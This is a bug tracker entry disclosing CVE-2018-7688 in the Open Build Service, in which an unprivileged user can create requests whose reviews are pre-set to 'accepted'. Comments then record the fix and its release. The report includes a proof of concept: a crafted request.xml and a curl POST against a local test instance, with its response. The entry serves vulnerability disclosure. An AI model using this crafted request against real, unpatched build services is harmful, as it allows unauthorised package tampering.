Bug 1094820 (CVE-2018-7688) - VUL-0: CVE-2018-7688: obs: Accept arbitrary reviews exploit
Summary: VUL-0: CVE-2018-7688: obs: Accept arbitrary reviews exploit
Status: RESOLVED FIXED
Alias: CVE-2018-7688
Product: openSUSE.org
Classification: openSUSE
Component: BuildService (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Normal (vote)
Target Milestone: ---
Assignee: Adrian Schröter
QA Contact: Adrian Schröter
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2018-05-28 07:26 UTC by Adrian Schröter
Modified: 2018-06-06 12:55 UTC (History)
7 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Comment 1 Adrian Schröter 2018-05-28 07:26:33 UTC
Description by Marcus:

Currently, an unprivileged user can create a new request where all
reviews are in the state "accepted" instead of "new". From the OBS'
point of view, this is just a bug, but combined with a specific workflow
this can be exploited, for instance, to modify a package. For this,
consider the following scenario:

For each request, the project "testprj" requires two reviews from the
users "Admin" and "Bob". Moreover, every hour a script is automatically
executed that works as follows:
- retrieve all open requests for the project "testprj"
- for each such request: accept the request if all of its reviews are
  in the state "accepted"

IMHO, this is legitimate workflow (or at least not an artificial one).

Next, assume the user "mallory" wants to modify the "testprj/foo" package.
For this, she prepares a "home:mallory/crafted_foo" package and creates
the following submit request:

marcus@linux:~> cat request.xml 
<request>
  <action type="submit">
    <source project="home:mallory" package="crafted_foo"/>
    <target project="testprj" package="foo"/>
  </action>
  <review state="accepted" by_user="Admin"/>
  <review state="accepted" by_user="Bob"/>
</request>
marcus@linux:~> curl -u mallory:foobar -X POST -T request.xml http://0.0.0.0:3000/request?cmd=create
<request id="11" creator="mallory">
  <action type="submit">
    <source project="home:mallory" package="crafted_foo"/>
    <target project="testprj" package="foo"/>
  </action>
  <state name="new" who="mallory" when="2018-05-27T10:25:17">
    <comment/>
  </state>
  <review state="accepted" when="2018-05-27T10:25:17" by_user="Admin"/>
  <review state="accepted" when="2018-05-27T10:25:17" by_user="Bob"/>
</request>
marcus@linux:~>

Unless no one else notices and declines this request, it will be
accepted by the script after at most 1 hour. Hence, mallory is
(potentially) able to modify the "testprj/foo" package.


The problem is that the current request creation code does not check
if the user that creates the request has the permission to change
the state of each review. The
0001-frontend-Sanitize-the-review-state-during-request-cr.patch patch
fixes this in a more conservative way by setting the state of each
review to "new" (for the drawback of this approach, see the commit
description).


Implications
Depending on the concrete workflow, an unprivileged user can create a
request that is eventually accepted. Among others, this can be used
to create, modify, delete a package, to make a user a maintainer of
a specific project/package etc.
According to [1], such a workflow is not used by the openSUSE:Factory
maintainers.

[1] https://github.com/openSUSE/open-build-service/issues/4131#issuecomment-368059236


Version information
api: git commit b279746bc063adb9fb2be3c17a62807c43fb47bf
´
Comment 2 Marcus Meissner 2018-05-28 14:19:49 UTC
Use CVE-2018-7688
Comment 3 Björn Geuken 2018-06-06 12:40:20 UTC
The patch is now released to OBS 2.9. build.opensuse.org was already patched.

I assume we can close the bug now
Comment 4 Adrian Schröter 2018-06-06 12:55:03 UTC
make it public